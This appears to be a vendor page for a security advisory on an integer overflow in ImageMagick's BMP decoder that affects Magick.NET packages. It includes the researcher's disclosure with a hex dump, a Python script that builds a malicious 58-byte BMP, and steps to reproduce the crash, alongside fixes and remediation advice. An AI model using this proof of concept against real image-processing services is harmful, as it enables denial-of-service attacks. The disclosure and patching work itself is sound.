Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
.NET NuGet

GHSA-9pp9-cfwx-54rm

MEDIUMFix: ImageMagick/ImageMagick@cea1693

GHSA-9pp9-cfwx-54rm is a medium-severity (CVSS 4.4) CWE-190 vulnerability in Magick.NET-Q16-AnyCPU. O3 Security confirms whether GHSA-9pp9-cfwx-54rm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)

Also known asCVE-2025-62171
Published
Oct 28, 2025
Updated
Nov 3, 2025
Affected
6 pkgs
Patched
6 / 6
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

6 pkgs affected
.NETMagick.NET-Q16-AnyCPU.NETMagick.NET-Q16-HDRI-AnyCPU.NETMagick.NET-Q16-HDRI-x86.NETMagick.NET-Q16-x86.NETMagick.NET-Q8-AnyCPU.NETMagick.NET-Q8-x86

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.

Description

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions:

  • ImageMagick < 7.1.2-2 (originally reported)
  • ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements:

  • 32-bit systems ONLY (i386, i686, armv7l, etc.)
  • Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
  • Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).

Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Why the Patch Fails

Attack Vector (32-bit system):

Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)
         
  32-bit truncation:
  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!
  
  bytes_per_line = 4 × ((0 + 31) / 32)
                 = 4 × 0
                 = 0
  
  BMPOverflowCheck(0, 1):
    return (1 != 0) && (0 > 4294967295UL/1)
    return True && (0 > 4294967295)
    return True && False
    return False  ← Does NOT detect overflow!

The check fails because:

  1. The overflow happens at Line 1120 (extent calculation)
  2. extent becomes 0 due to 32-bit truncation
  3. bytes_per_line is calculated as 0 (Line 1121)
  4. BMPOverflowCheck(0, 1) returns False (no overflow detected)
  5. Code proceeds with corrupted values → ASan crash

PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Key Fields:

  • Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
  • Offset 0x16: Height = 01 00 00 00 = 1
  • Offset 0x1C: BPP = 20 00 = 32

Python Generator

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP File Header (14 bytes)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # File size
file_header += struct.pack('<HH', 0, 0)   # Reserved
file_header += struct.pack('<I', 54)      # Pixel offset

# DIB Header (40 bytes)
dib_header = struct.pack('<I', 40)        # Header size
dib_header += struct.pack('<i', width)    # Width
dib_header += struct.pack('<i', height)   # Height
dib_header += struct.pack('<H', 1)        # Planes
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # Compression
dib_header += struct.pack('<I', 0)        # Image size
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # Colors
dib_header += struct.pack('<I', 0)        # Important colors

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)")

Reproduction Steps

Environment Setup

# Use 32-bit Docker container
docker run -it --name test-32bit i386/ubuntu:latest bash

# Install dependencies
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# Download ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

Build with AddressSanitizer (32-bit IMPORTANT!)

# Configure for 32-bit build (CRITICAL - must be 32-bit!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

### Trigger the Vulnerability

```bash
# Set environment to bypass cache.c limits
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

# Test with malicious BMP (use Python script above to create it)
./utilities/magick identify overflow.bmp

AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: 
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow
For details see https://github.com/google/sanitizers/issues/189

It operates in the following environments.

export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

Impact

Attack Scenario

  1. Attacker creates a 58-byte malicious BMP file
  2. Uploads to web service that uses ImageMagick (on 32-bit system)
  3. ImageMagick attempts to process the image
  4. Integer overflow triggers AddressSanitizer crash
  5. Service becomes unavailable (Denial of Service)

Real-world targets:

  • Web hosting platforms with image processing
  • CDN services with thumbnail generation
  • Legacy embedded systems
  • IoT devices running 32-bit Linux
  • Docker containers using 32-bit base images

Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

// Add overflow check BEFORE calculating extent
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// Additional safety check
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Alternative: Use 64-bit Arithmetic

// Force 64-bit calculation
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

Credits

wooseokdotkim [email protected]

Affected Packages

6 total 6 fixed
EcosystemPackageVulnerable rangeFix
.NETNuGetMagick.NET-Q16-AnyCPUall versions14.9.0
.NETNuGetMagick.NET-Q16-HDRI-AnyCPUall versions14.9.0
.NETNuGetMagick.NET-Q16-HDRI-x86all versions14.9.0
.NETNuGetMagick.NET-Q16-x86all versions14.9.0
.NETNuGetMagick.NET-Q8-AnyCPUall versions14.9.0
.NETNuGetMagick.NET-Q8-x86all versions14.9.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Magick.NET-Q16-AnyCPU. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update Magick.NET-Q16-AnyCPU to 14.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9pp9-cfwx-54rm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-9pp9-cfwx-54rm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9pp9-cfwx-54rm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack. The patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS. **Affected Versions:** - ImageMagick < 7.1.2-2 (originally reported) - **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)** **Platform and Configuration Requirements:** - 32-bit systems ONLY (i386, i686, armv7
O3 Security · Impact-Aware SCA

Is GHSA-9pp9-cfwx-54rm in your dependencies?

O3 detects GHSA-9pp9-cfwx-54rm across NuGet dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.